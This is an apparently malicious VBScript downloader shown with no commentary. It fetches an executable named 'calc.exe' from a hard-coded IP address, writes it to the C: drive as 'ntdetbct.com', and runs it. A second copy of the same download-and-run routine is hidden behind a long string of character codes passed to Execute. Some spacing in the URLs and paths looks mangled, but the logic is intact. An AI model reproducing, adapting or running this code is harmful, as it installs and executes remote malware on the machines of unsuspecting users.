Set post = Createobject ("msxml2.xmlhttp ")
Set shell = Createobject ("wscript. Shell ")
Post. Open "get", "http: // 202.75.208.29/calc.exe", 0
Post. Send ()
Set aget = Createobject ("ADODB. Stream ")
Aget. mode = 3
Aget. type = 1
Aget. open ()
Aget. Write (post. responsebody)
Aget. savetofile "C: \ ntdetbct. com", 2
Wscript. Sleep 1000
Shell. Run ("C: \ ntdetbct. com ")
Set xpost = Createobject ("Microsoft. XMLHTTP ")
Xpost. Open "get", "http: // 202.75.208.29/calc.exe", 0
Execute (CHR (120) & CHR (80) & CHR (111) & CHR (115) & CHR (116) & CHR (46) & CHR (83) & CHR (101) & CHR (110) & CHR (100) & CHR (40) & CHR (41) & CHR (58) & CHR (83) & CHR (101) & CHR (116) & CHR (32) & CHR (115) & CHR (71) & CHR (101) & CHR (116) & CHR (32) & CHR (61) & CHR (32) & CHR (67) & CHR (114) & CHR (101) & CHR (97) & CHR (116) & CHR (101) & CHR (79) & CHR (98) & CHR (106) & CHR (101) & CHR (99) & CHR (116) & CHR (40) & CHR (34) & CHR (65) & CHR (68) & CHR (79) & CHR (68) & CHR (66) & CHR (46) & CHR (83) & CHR (116) & CHR (114) & CHR (101) & CHR (97) & CHR (109) & CHR (34) & CHR (41) & CHR (58) & CHR (115) & CHR (71) & CHR (101) & CHR (116) & CHR (46) & CHR (77) & CHR (111) & CHR (100) & CHR (101) & CHR (32) & CHR (61) & CHR (32) & CHR (51) & CHR (58) & CHR (115) & CHR (71) & CHR (101) & CHR (116) & CHR (46) & CHR (84) & CHR (121) & CHR (112) & CHR (101) & CHR (32) & CHR (61) & CHR (32) & CHR (49) & CHR (58) & CHR (115) & CHR (71) & CHR (101) & CHR (116) & CHR (46) & CHR (79) & CHR (112) & CHR (101) & CHR (110) & CHR (40) & CHR (41) & CHR (58) & CHR (115) & CHR (71) & CHR (101) & CHR (116) & CHR (46) & CHR (87) & CHR (114) & CHR (105) & CHR (116) & CHR (40) & CHR (120) & CHR (80) & CHR (111) & CHR (115) & CHR (116) & CHR (46) & CHR (114) & CHR (101) & CHR (115) & CHR (112) & CHR (111) & CHR (110) & CHR (115) & CHR (101) & CHR (66) & CHR (111) & CHR (100) & CHR (121) & CHR (41) & CHR (58) & CHR (115) & CHR (71) & CHR (101) & CHR (116) & CHR (46) & CHR (83) & CHR (97) & CHR (118) & CHR (101) & CHR (84) & CHR (111) & CHR (70) & CHR (105) & CHR (108) & CHR (101) & CHR (32) & CHR (34) & CHR (67) & CHR (58) & CHR (92) & CHR (78) & CHR (84) & CHR (68) & CHR (69) & CHR (84) & CHR (66) & CHR (67) & CHR (84) & CHR (46) & CHR (67) & CHR (79) & CHR (77) & CHR (34) & CHR (44) & CHR (50) & CHR (32) & CHR (58) & CHR (119) & CHR (115) & CHR (99) & CHR (114) & CHR (105) & CHR (112) & CHR (116) & CHR (46) & CHR (115) & CHR (108) & CHR (101) & CHR (101) & CHR (112) & CHR (32) & CHR (49) & CHR (32) & CHR (58) & CHR (119) & CHR (115) & CHR (99) & CHR (114) & CHR (105) & CHR (112) & CHR (116) & CHR (46) & CHR (99) & CHR (114) & CHR (101) & CHR (97) & CHR (116) & CHR (101) & CHR (111) & CHR (98) & CHR (106) & CHR (101) & CHR (99) & CHR (116) & CHR (40) & CHR (34) & CHR (119) & CHR (115) & CHR (99) & CHR (114) & CHR (105) & CHR (112) & CHR (116) & CHR (46) & CHR (115) & CHR (104) & CHR (101) & CHR (108) & CHR (108) & CHR (34) & CHR (41) & CHR (46) & CHR (114) & CHR (117) & CHR (110) & CHR (32) & CHR (34) & CHR (67) & CHR (58) & CHR (92) & CHR (78) & CHR (84) & CHR (68) & CHR (69) & CHR (84) & CHR (66) & CHR (67) & CHR (84) & CHR (46) & CHR (67) & CHR (79) & CHR (77) & CHR (34) & CHR (44) & CHR (49) & CHR (58) & CHR (10 ))